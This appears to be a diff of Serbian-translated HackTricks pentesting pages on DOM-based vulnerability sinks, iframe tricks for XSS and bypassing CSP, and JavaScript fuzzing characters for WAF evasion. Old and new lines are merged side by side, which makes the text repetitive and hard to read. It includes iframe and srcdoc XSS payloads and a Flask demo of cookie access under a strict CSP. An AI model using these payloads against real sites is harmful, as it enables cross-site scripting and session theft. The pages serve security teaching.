Od: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
**DOM bazirane JSON-ubrizgavanje ranjivosti** se javljaju kada skripta uključuje **podatke koje kontrolira napadač u string koji se parsira kao JSON podatkovna struktura, a zatim obrađuje od strane aplikacije**. **DOM-bazirane JSON-injekcione ranjivosti** se javljaju kada skripta uključuje **podatke koje kontroliše napadač u string koji se parsira kao JSON struktura podataka i zatim obrađuje od strane aplikacije**.
Sinks: Sinks:
```javascript ```javascript
@ -248,21 +253,21 @@ JSON.parse()
jQuery.parseJSON() jQuery.parseJSON()
$.parseJSON() $.parseJSON()
``` ```
### Manipulacija web-porukama ### Web-message manipulation
Od: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
**Ranjivosti web-poruka** nastaju kada skripta šalje **podatke koje kontrolira napadač kao web-poruku drugom dokumentu** unutar pregledača. **Primer** ranjive manipulacije web-porukama može se pronaći na [PortSwigger-ovoj Akademiji za bezbednost veb-a](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source). **Web-message ranjivosti** nastaju kada skripta šalje **podatke koje kontroliše napadač kao web poruku drugom dokumentu** unutar pregledača. **Primer** ranjive manipulacije web porukama može se naći na [PortSwigger-ovoj Akademiji za web bezbednost](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
Sinks: Sinks:
Metoda `postMessage()` za slanje web-poruka može dovesti do ranjivosti ako slušalac događaja za primanje poruka obrađuje dolazne podatke na nesiguran način. Metoda `postMessage()` za slanje web poruka može dovesti do ranjivosti ako slušalac događaja za primanje poruka obrađuje dolazne podatke na nesiguran način.
### Manipulacija DOM-podacima ### DOM-data manipulation
Od: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
**Ranjivosti manipulacije DOM-podacima** nastaju kada skripta upisuje **podatke koje kontrolira napadač u polje unutar DOM-a** koje se koristi u vidljivom korisničkom interfejsu ili logici na strani klijenta. Ova ranjivost može biti iskorišćena od strane napadača da konstruiše URL koji, ako ga poseti drugi korisnik, može promeniti izgled ili ponašanje korisničkog interfejsa na strani klijenta. **Ranjivosti manipulacije DOM podacima** nastaju kada skripta piše **podatke koje kontroliše napadač u polje unutar DOM-a** koje se koristi unutar vidljivog UI-a ili klijentske logike. Ovu ranjivost može iskoristiti napadač da konstruira URL koji, ako ga poseti drugi korisnik, može promeniti izgled ili ponašanje klijentskog UI-a.
Sinks: Sinks:
```javascript ```javascript
@ -289,11 +294,11 @@ document.implementation.createHTMLDocument()
history.pushState() history.pushState()
history.replaceState() history.replaceState()
``` ```
### Odbijanje usluge ### Denial of Service
Sa: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
**DOM bazirane ranjivosti odbijanja usluge** se javljaju kada skripta nebezbedno prosleđuje **podatke koje napadač može kontrolisati ka problematičnoj platformi API-ja**. To uključuje API-je koji, kada se pozovu, mogu dovesti do toga da računar korisnika troši **prekomerne količine CPU-a ili prostora na disku**. Takve ranjivosti mogu imati značajne sporedne efekte, poput pregledača koji ograničava funkcionalnost veb sajta odbijanjem pokušaja čuvanja podataka u `localStorage` ili prekidanja zauzetih skripti. **DOM-bazirane ranjivosti za uskraćivanje usluge** se javljaju kada skripta prenosi **podatke koje kontroliše napadač na nesiguran način do problematičnog platformskog API-ja**. Ovo uključuje API-je koji, kada se pozovu, mogu dovesti do toga da korisnički računar troši **prekomerne količine CPU-a ili prostora na disku**. Takve ranjivosti mogu imati značajne nuspojave, kao što je ograničavanje funkcionalnosti veb sajta od strane pregledača odbijanjem pokušaja čuvanja podataka u `localStorage` ili prekidanje zauzetih skripti.
Sinks: Sinks:
```javascript ```javascript
@ -306,14 +311,17 @@ RegExp()
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# Iframeovi u XSS, CSP i SOP # Iframes in XSS, CSP and SOP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Iframeovi u XSS ## Iframes in XSS
Postoje 3 načina za označavanje sadržaja u iframe-ovanoj stranici: Postoje 3 načina da se označi sadržaj iframed stranice:
* Putem `src` označavajući URL (URL može biti preko granice ili istog porekla) * Putem `src` koji označava URL (URL može biti cross origin ili same origin)
* Putem `src` označavajući sadržaj koristeći `data:` protokol * Putem `src` koji označava sadržaj koristeći `data:` protokol
* Putem `srcdoc` označavajući sadržaj * Putem `srcdoc` koji označava sadržaj
**Pristupanje roditeljskim i dečijim varijablama** **Pristupanje Parent & Child varijablama**
```html ```html
<html> <html>
<script> <script>
@ -51,17 +54,17 @@ var secret="child secret";
alert(parent.secret) alert(parent.secret)
</script> </script>
``` ```
Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skriptovi biti izvršeni (jer nema CSP koji to sprečava). **Roditelj neće moći da pristupi `tajnom` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 & if3 (koji se smatraju istosajtnim) mogu pristupiti tajni** u originalnom prozoru. Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će se svi skripti izvršiti (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 i if3 (koji se smatraju istim mestom) mogu pristupiti tajni** u originalnom prozoru.\
Primetite kako se if4 smatra da ima `null` poreklo. Obratite pažnju kako se if4 smatra da ima `null` poreklo.
### Iframe-ovi sa CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a> ### Iframes sa CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %} {% hint style="info" %}
Molimo, primetite kako u sledećim zaobilaskama odgovor na iframed stranicu ne sadrži bilo koji CSP zaglavlje koje sprečava izvršavanje JS koda. Molimo vas, obratite pažnju kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
{% endhint %} {% endhint %}
Vrednost `self` za `script-src` neće dozvoliti izvršavanje JS koda korišćenjem `data:` protokola ili atributa `srcdoc`. `self` vrednost `script-src` neće dozvoliti izvršavanje JS koda koristeći `data:` protokol ili `srcdoc` atribut.\
Međutim, čak i vrednost `none` CSP-a će dozvoliti izvršavanje iframe-ova koji postavljaju URL (potpuni ili samo putanju) u atribut `src`. Međutim, čak i `none` vrednost CSP-a će dozvoliti izvršavanje iframe-ova koji stavljaju URL (potpun ili samo putanju) u `src` atribut.\
Stoga je moguće zaobići CSP stranice sa: Stoga je moguće zaobići CSP stranice sa:
```html ```html
<html> <html>
@ -77,14 +80,14 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe> <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html> </html>
``` ```
Primetite kako **prethodni CSP dozvoljava samo izvršavanje inline skripte**.\ Napomena kako **prethodni CSP dozvoljava samo izvršavanje inline skripte**.\
Međutim, **samo će se `if1` i `if2` skripte izvršiti, ali samo `if1` će moći da pristupi roditeljskoj tajni**. Međutim, **samo `if1` i `if2` skripte će biti izvršene, ali samo `if1` će moći da pristupi roditeljskom tajnom**.
![](<../../.gitbook/assets/image (372).png>) ![](<../../.gitbook/assets/image (372).png>)
Stoga je moguće **zaobići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može postići i zloupotrebom JSONP endpointa na istom sajtu**. Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom same-site JSONP krajnje tačke**.
Možete testirati ovo sa sledećim scenarijem gde se kolačić ukrade čak i sa `script-src 'none'`. Samo pokrenite aplikaciju i pristupite joj preko svog pregledača: Možete testirati ovo sa sledećim scenarijom gde je kolačić ukraden čak i sa `script-src 'none'`. Samo pokrenite aplikaciju i pristupite joj putem vašeg pregledača:
```python ```python
import flask import flask
from flask import Flask from flask import Flask
@ -104,7 +107,7 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### Ostali Payload-ovi pronađeni u divljini <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> ### Ostali payloadi pronađeni u divljini <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> <iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
@ -115,24 +118,24 @@ app.run()
``` ```
### Iframe sandbox ### Iframe sandbox
Sadržaj unutar iframe-a može biti podvrgnut dodatnim ograničenjima korišćenjem atributa `sandbox`. Podrazumevano, ovaj atribut nije primenjen, što znači da nema ograničenja. Sadržaj unutar iframe-a može biti podvrgnut dodatnim ograničenjima korišćenjem `sandbox` atributa. Po defaultu, ovaj atribut nije primenjen, što znači da nema ograničenja.
Kada se koristi, atribut `sandbox` nameće nekoliko ograničenja: Kada se koristi, `sandbox` atribut nameće nekoliko ograničenja:
* Sadržaj se tretira kao da potiče sa jedinstvenog izvora. * Sadržaj se tretira kao da potiče iz jedinstvenog izvora.
* Svaki pokušaj slanja formi je blokiran. * Svaki pokušaj slanja formi je blokiran.
* Izvršavanje skriptova je zabranjeno. * Izvršavanje skripti je zabranjeno.
* Pristup određenim API-ima je onemogućen. * Pristup određenim API-jima je onemogućen.
* Onemogućava linkovima da interaguju sa drugim kontekstima pregledanja. * Sprečava interakciju linkova sa drugim kontekstima pretraživanja.
* Korišćenje dodataka putem `<embed>`, `<object>`, `<applet>`, ili sličnih tagova je zabranjeno. * Korišćenje dodataka putem `<embed>`, `<object>`, `<applet>`, ili sličnih oznaka je zabranjeno.
* Navigacija vršena od strane samog sadržaja u okviru glavnog konteksta pregledanja je sprečena. * Navigacija sadržajem najvišeg nivoa pretraživačkog konteksta od strane samog sadržaja je sprečena.
* Funkcionalnosti koje se automatski pokreću, poput reprodukcije videa ili automatskog fokusiranja kontrola forme, su blokirane. * Funkcije koje se automatski aktiviraju, poput reprodukcije videa ili automatskog fokusiranja kontrola formi, su blokirane.
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) kako bi se primenila sva navedena ograničenja. Alternativno, može biti postavljena na razmakom odvojenu listu specifičnih vrednosti koje izuzimaju iframe od određenih ograničenja. Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti odvojenih razmakom koje izuzimaju iframe od određenih ograničenja.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
``` ```
## Iframeovi u SOP-u ## Iframes u SOP
Proverite sledeće stranice: Proverite sledeće stranice:
@ -152,14 +155,17 @@ Proverite sledeće stranice:
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md) [steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** ka [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Prekoračenje celobrojnog tipa # Integer Overflow
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
Proverite: Proverite:
@ -18,14 +21,17 @@ Proverite:
[integer-overflow.md](../../binary-exploitation/integer-overflow.md) [integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Razne JS Trikove & Relevantne Informacije # Razne JS Trikovi i Relevantne Informacije
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Javascript Fuzzing ## Javascript Fuzzing
### Validni JS Karakteri za Komentare ### Validni JS komentari
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -65,7 +68,7 @@ log.push([i,j])
} }
console.log(log)//[35,33],[47,47] console.log(log)//[35,33],[47,47]
``` ```
### Valid JS Nove Linije Karakteri ### Valid JS New Lines Chars
```javascript ```javascript
//Javascript interpret as new line these chars: //Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a String.fromCharCode(10) //0x0a
@ -87,7 +90,7 @@ console.log(`[${err}]`,j,cmd);
} }
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
``` ```
### Valid JS Prostori u pozivu funkcije ### Valid JS Spaces in function call
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -104,7 +107,7 @@ log.push(i)
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279 console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
``` ```
### **Validni znakovi za generisanje nizova** ### **Validni karakteri za generisanje stringova**
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
@ -119,9 +122,9 @@ log.push(i)
console.log(log) //34,39,47,96 console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex) //single quote, quotes, backticks & // (regex)
``` ```
### **Zamenski parovi BF** ### **Surrogate Pairs BF**
Ova tehnika neće biti vrlo korisna za XSS, ali može biti korisna za zaobilaženje WAF zaštite. Ovaj Python kod prima kao ulaz 2 bajta i traži zamenske parove koji imaju prvi bajt kao poslednji bajt visokog zamenskog para i poslednji bajt kao poslednji bajt niskog zamenskog para. Ova tehnika neće biti veoma korisna za XSS, ali bi mogla biti korisna za zaobilaženje WAF zaštita. Ovaj python kod prima kao ulaz 2 bajta i traži parove zamena koji imaju prvi bajt kao poslednji bajt visokog para zamena i poslednji bajt kao poslednji bajt niskog para zamena.
```python ```python
def unicode(findHex): def unicode(findHex):
for i in range(0,0xFFFFF): for i in range(0,0xFFFFF):
@ -132,12 +135,7 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]): if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u")) print(H.replace("0x","\\u")+L.replace("0x","\\u"))
``` ```
Više informacija: ### `javascript{}:` Protokol Fuzzing
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### Faziranje protokola `javascript{}:`
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[]; log=[];
@ -202,29 +200,29 @@ log.push(i);
} }
